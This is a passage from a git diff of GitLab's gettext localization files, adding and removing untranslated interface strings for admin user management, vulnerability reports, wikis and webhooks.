msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26944,9 +27559,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26962,6 +27574,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27049,6 +27664,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27364,9 +27982,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27376,9 +27991,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27421,6 +28033,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27484,7 +28099,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27493,9 +28108,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27610,7 +28222,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27631,9 +28243,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27712,6 +28321,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27757,6 +28369,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28057,6 +28672,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28075,6 +28693,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28210,7 +28831,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28309,6 +28930,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28651,6 +29275,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28717,7 +29344,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28789,10 +29416,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28987,9 +29614,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29008,6 +29632,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29044,6 +29671,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29134,6 +29764,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29281,6 +29914,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29338,6 +29977,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29383,6 +30025,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29413,6 +30058,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29449,6 +30097,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29491,15 +30142,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29569,7 +30220,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29650,6 +30301,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29707,6 +30361,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29800,9 +30457,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29908,6 +30562,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29956,10 +30616,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29974,6 +30631,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29998,6 +30658,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30127,6 +30790,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30142,6 +30808,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30223,12 +30892,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30286,7 +30961,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30442,6 +31123,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30523,9 +31207,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30535,6 +31216,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30580,6 +31264,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30739,6 +31426,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30781,6 +31471,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30859,6 +31552,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30943,9 +31642,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30988,13 +31684,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31024,9 +31717,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31045,6 +31735,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31069,6 +31762,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31081,6 +31777,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31222,6 +31921,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31270,6 +31972,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31279,6 +31987,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31288,6 +31999,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31459,13 +32173,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31633,6 +32344,12 @@ msgstr[2] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31651,9 +32368,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31669,9 +32383,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31711,9 +32422,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31804,6 +32512,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31831,6 +32542,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31852,7 +32566,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32383,6 +33097,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32410,6 +33127,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32422,6 +33142,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32503,6 +33226,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32557,6 +33283,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32569,9 +33298,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32620,9 +33355,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32653,10 +33385,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32665,6 +33397,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32674,6 +33409,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32746,6 +33484,12 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/sv_SE/gitlab.po b/locale/sv_SE/gitlab.po
index bc5e87bc27e..324df6a59ac 100644
--- a/locale/sv_SE/gitlab.po
+++ b/locale/sv_SE/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sv-SE\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:51\n"
+"PO-Revision-Date: 2020-12-03 08:20\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
